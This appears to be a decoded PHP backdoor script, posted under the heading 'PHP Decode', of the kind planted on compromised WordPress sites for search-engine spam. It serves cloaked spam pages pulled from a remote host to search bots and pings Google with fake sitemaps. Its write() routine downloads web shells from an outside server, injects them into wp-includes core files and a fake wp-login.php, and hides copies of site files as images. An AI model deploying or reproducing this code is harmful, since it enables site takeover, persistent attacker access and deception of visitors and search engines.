PHP Decode

<?php error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if (isset($_GET['dt'])) {
    $dt = $_GET['dt'];
}
$site = @$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if (strstr($smuri_tmp, ".php") && !$site) {
    $uri_arr = explode(".php", $smuri_tmp);
    $uri_script = $uri_arr[0] . ".php?";
    $smuri_tmp = $uri_arr[1];
    $smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if ($smuri_tmp == '') {
    $smuri_tmp = '/';
}
$s = 'b' . 'ase6' . '4_e' . 'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri() {
    if (isset($_SERVER['REQUEST_URI'])) {
        $smuri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $smuri;
}
@$action = $_GET['ac'] ? $_GET['ac'] : "";
if ($action != "" && $action == "write") {
    write();
    echo "write done!";
    exit();
}
$temp = @$_GET['smtemp'];
$id = @$_GET['smid'];
$page = @$_GET['smpage'];
$site = str_replace('/', '', $site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/', '', $tempweb);
if (preg_match('@[email protected]', $smuri_tmp)) {
    @header("Content-type: text/css; charset=utf-8");
    if ($uri_script == "") {
        $uri_script = "/";
    }
    $sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script" . "sitemap.xml";
    $contents = get($sitemap);
    if (strpos($contents, "Sitemap Notification Received")) {
        echo "Submitting Google Sitemap $http://$host$uri_script" . "sitemap.xml" . " : OK!<br>";
    } else {
        echo "Submitting Google Sitemap $http://$host$uri_script" . "sitemap.xml" . " : ERROR!<br>";
    }
    $mnum = mt_rand(30, 80);
    for ($i = 0;$i < $mnum;$i++) {
        $sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script" . "sitemap$i.xml";
        $contents = get($sitemap);
        if (strpos($contents, "Sitemap Notification Received")) {
            echo "Submitting Google Sitemap $http://$host$uri_script" . "sitemap$i.xml" . " : OK!<br>";
        } else {
            echo "Submitting Google Sitemap $http://$host$uri_script" . "sitemap$i.xml" . " : ERROR!<br>";
        }
    }
    exit;
}
$goweb = 'seo811-10.flyingfishes.online';
$password = md5(md5(@$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
    $host = $_SERVER['HTTP_HOST'];
    $path = dirname(__FILE__);
    $file_path = $path . '/robots.txt';
    $data = 'User-agent: *
Allow: /';
    $uri_script = trim($uri_script);
    if ($uri_script != "" && $uri_script != "/index.php?") {
        $data = trim($data) . "
" . "Sitemap: $http://" . $host . $uri_script . "sitemap.xml";
    } else {
        $data = trim($data) . "
" . "Sitemap: $http://" . $host . "/sitemap.xml";
    }
    $num = mt_rand(5, 15);
    for ($i = 0;$i < $num;$i++) {
        if (trim($uri_script) != "" && $uri_script != "/index.php?") {
            $data = trim($data) . "
" . "Sitemap: $http://" . $host . $uri_script . "sitemap$i.xml";
        } else {
            $data = trim($data) . "
" . "Sitemap: $http://" . $host . "/sitemap$i.xml";
        }
    }
    @chmod("robots.txt", 0755);
    file_put_contents("robots.txt", $data);
    echo "robots write done!!";
    exit;
}
function is_https() {
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
if ($tempweb) {
    $site = $tempweb[0] . $tempweb[1] . $tempweb[2];
    $temp = substr($tempweb, 3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $s($urlshang);
} else {
    $urlshang = '';
}
$clock = $_SERVER['REMOTE_ADDR'];
$http_clock = $_SERVER['REMOTE_ADDR'];
if (stristr($clock, ',')) {
    $clock_tmp = explode(",", $clock);
    $clock = $clock_tmp[0];
}
if (!isset($sitemap_file) || @$sitemap_file == '') {
    $sitemap_file = 'sitemap';
}
if (!isset($mapnum) || @$mapnum == '') {
    $sitemap_file = 2000;
}
if (preg_match('/^' . "\/" . $sitemap_file . '(\d+)?.xml$/i', $smuri_tmp, $uriarr)) {
    @header("Content-type: text/xml");
    if (isset($uriarr[1])) {
        $id = str_replace('_', '', $uriarr[1]);
    } else {
        $id = 100;
    }
    $ivmapid = 0;
    sitemap_out(z_sitemap($goweb, $id, $host, $dt, $ivmapid, $mapnum, $http_web), $host, $uri_script);
    exit();
}
function z_sitemap($goweb, $id, $host, $dt, $maptype, $map_num, $http_web = 'http', $filetype = 0, $map_splits_num = '', $temp = '', $dataNew = '') {
    $web = $http_web . '://' . $goweb . '/sitemapdtn.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt . '&maptype=' . $maptype . '&filetype=' . $filetype . '&map_splits_num=' . $map_splits_num . '&map_num=' . $map_num . '&dataNew=' . $dataNew;
    return trim(smoutdo($web));
}
function sitemap_out($url, $host, $uri_script) {
    if (is_https()) {
        $http = 'https';
    } else {
        $http = 'http';
    }
    $date_str = date("Y-m-d\TH:i:sP", time());
    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
    $sitemap_header.= '
  <url>
    <loc>' . $http . '://' . $host . "/" . '</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    $url_arr = explode("
", $url);
    $map_str = $sitemap_header;
    foreach ($url_arr as $value) {
        $map_str.= '
  <url>
    <loc>' . $http . '://' . $host . "/" . $value . '</loc>
    <lastmod>' . $date_str . '</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.1</priority>
  </url>';
    }
    if ($uri_script != "") {
        $map_str = str_replace($host . "/", $host . $uri_script, $map_str);
    }
    echo $map_str . "
</urlset>";
}
function get($url) {
    $contents = @file_get_contents($url);
    if (!$contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
function write() {
    $write1 = get("http://abc.firstguide.xyz/write1.txt");
    $write2 = get("http://abc.firstguide.xyz/write2.txt");
    $shell_postfs = get("http://abc.firstguide.xyz/mm1.txt");
    $shell_load = get("http://abc.firstguide.xyz/mm2.txt");
    $new_ht_content = get("http://abc.firstguide.xyz/shl/htaccess.txt");
    $ht_content = file_get_contents(".htaccess");
    $index_content = file_get_contents("index.php");
    $loader_php = "wp-includes/template-loader.php";
    $load_php = "wp-includes/load.php";
    $font_editor_php = "wp-includes/SimplePie/wp-login.php";
    if (!is_dir("css")) {
        mkdir("css", 0755, true);
    }
    @chmod("css/.htaccess", 0755);
    file_put_contents("css/.htaccess", $new_ht_content);
    file_put_contents("css/load.php", $shell_load);
    if (is_dir("wp-includes/SimplePie")) {
        file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
        file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
        file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
        file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
        $loader_content = file_get_contents($loader_php);
        $load_content = file_get_contents($load_php);
        @chmod($loader_php, 0755);
        @chmod($load_php, 0755);
        file_put_contents($loader_php, $write1 . $loader_content);
        file_put_contents($load_php, $load_content . $write2);
        @chmod($loader_php, 0644);
        @chmod($load_php, 0644);
        file_put_contents($font_editor_php, $shell_postfs);
    }
}
if (stristr($smuri_tmp, '.css')) {
    $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
    $html_content = smoutdo($web);
    $html_content = trim($html_content);
    if (!strstr($html_content, 'nobotuseragent')) {
        if (strstr($html_content, 'okhtmlgetcontent')) {
            @header("Content-type: text/css; charset=utf-8");
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        } else if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        } else if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        }
    }
} else if ($site) {
    if ($id) {
        @header("Content-type: text/html; charset=utf-8");
        $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page;
        $html_content = smoutdo($web);
        $html_content = trim($html_content);
        if (!strstr($html_content, 'nobotuseragent')) {
            if (strstr($html_content, 'okhtmlgetcontent')) {
                $html_content = str_replace("okhtmlgetcontent", '', $html_content);
                echo $html_content;
                exit();
            } else if (strstr($html_content, 'getcontent500page')) {
                @header('HTTP/1.1 500 Internal Server Error');
                exit();
            } else if (strstr($html_content, 'getcontent404page')) {
                @header('HTTP/1.1 404 Not Found');
                exit();
            }
        }
    }
} else {
    $web = $http_web . '://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&page=' . $page;
    $html_content = smoutdo($web);
    $html_content = trim($html_content);
    if ($uri_script != "") {
        $html_content = str_replace($host . "/", $host . $uri_script, $html_content);
    }
    if (!strstr($html_content, 'nobotuseragent')) {
        @header("Content-type: text/html; charset=utf-8");
        if (strstr($html_content, 'okhtmlgetcontent')) {
            $html_content = str_replace("okhtmlgetcontent", '', $html_content);
            echo $html_content;
            exit();
        } else if (strstr($html_content, 'getcontent500page')) {
            @header('HTTP/1.1 500 Internal Server Error');
            exit();
        } else if (strstr($html_content, 'getcontent404page')) {
            @header('HTTP/1.1 404 Not Found');
            exit();
        } else if (strstr($html_content, 'getcontent301page')) {
            @header('HTTP/1.1 301 Moved Permanently');
            $html_content = str_replace("getcontent301page", '', $html_content);
            header('Location: ' . $html_content);
            exit();
        }
    }
}
function smisbot() {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if ($agent != "") {
        $googleBot = array("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "Google AdSense", 'google', 'yahoo');
        foreach ($googleBot as $val) {
            $str = strtolower($val);
            if (strpos($agent, $str)) {
                return true;
            }
        }
    } else {
        return false;
    }
}
function smoutdo($url) {
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}